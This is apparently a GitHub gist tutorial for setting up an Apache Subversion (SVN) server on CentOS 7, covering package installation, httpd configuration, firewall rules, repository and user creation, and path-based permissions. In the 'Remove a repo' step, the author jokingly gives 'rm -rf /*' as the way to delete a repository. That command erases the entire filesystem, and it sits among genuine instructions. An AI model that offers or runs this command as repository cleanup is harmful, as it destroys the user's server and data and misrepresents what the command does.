Skip to content

Instantly share code, notes, and snippets.

@Misaka-0x447f
Last active March 14, 2018 14:38
Show Gist options
  • Save Misaka-0x447f/628ad12d55cbf521648ebc6e9d02854d to your computer and use it in GitHub Desktop.
Save Misaka-0x447f/628ad12d55cbf521648ebc6e9d02854d to your computer and use it in GitHub Desktop.
SVN Server Getting Started

Introducing how to setup a SVN Server and how to Getting started.

#0 - Prepare your server

First of all you absolutely need a server with a public address and a package manager. In this article I got a server with CentOS Linux release 7.3.1611 (Core) and I'm root.

Root isn't always harmful especially if not on a production server but you are recommended to come with a long enough password to keep root safe. (Don't worry to lost it at most time - usually you can always reset password on the server's dashboard.)

And, SSH client. Personally recommend MobaXterm. Putty is okay but please don't download it on some bad guy's website like baidu/360. Just go to the official site and download it, you will be safe.

#1 - Setup

ref: https://www.vultr.com/docs/how-to-setup-an-apache-subversion-svn-server-on-centos-7

yum install dependencies:

yum update
reboot
yum install httpd subversion mod_dav_svn

remove apache default webpage:

sed -i 's/^/#&/g' /etc/httpd/conf.d/welcome.conf

(optional) remove apache website folder

sed -i "s/Options Indexes FollowSymLinks/Options FollowSymLinks/" /etc/httpd/conf/httpd.conf

#2 - Configure SVN

vi /etc/httpd/conf.modules.d/10-subversion.conf

Append this. You are free to change something. Your repos parent path will be '/svn'.

<Location /svn>
DAV svn
SVNParentPath /svn
AuthName "SVN Repos"
AuthType Basic
AuthUserFile /etc/svn/svn-auth
AuthzSVNAccessFile /svn/authz
Require valid-user
</Location>

Save and quit.

:wq

Create folderes we have set.

mkdir /svn
mkdir /etc/svn

We are cleared for takeoff here. Now, we can start the engine of apache.

systemctl enable httpd.service

Give the engine full power.

firewall-cmd --zone=public --permanent --add-service=http
firewall-cmd --reload

V1. Rotate.

reboot

#3 - Operates

Access a repo

http://<your-server-ip>/svn/<repo>/

Create a repo

cd /svn
svnadmin create <repo_name>
chown -R apache:apache <repo_name>

Remove a repo

rm -rf /*

This command can also help you clean up your system.

Your system are now faster than 99% pc in your planet.

Create a user

First time create:

htpasswd -c /etc/svn/svn-auth <username>
chown root:apache /etc/svn/svn-auth
chmod 640 /etc/svn/svn-auth

Future create:

htpasswd /etc/svn/svn-auth <username>

Remove a user

htpasswd -D /etc/svn/svn-auth <username>

or

vi /etc/svn/svn-auth

Write permission

Config file:

cd /svn
vi authz

For example, Here is a config segment which allowed:

User "misaka" as an administrator to read and write all repos.

User "alice", "bob", "charlie" as members to read and write all repos except branch "master" of repo "core".

User "pudding" as guest to read all repos.

And user "eve" and any other users has been banned.

[groups]
root=misaka
member=alice, bob, charlie
guest=pudding
banned=eve

[/]
@root=rw
@member=rw
@guest=r
@banned=

[core:/master]
@member=r

【!】If you always get forbidden during checkout, you may refered a not exist group or user.

For more information please refer to http://svnbook.red-bean.com/en/1.7/svn.serverconfig.pathbasedauthz.html

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment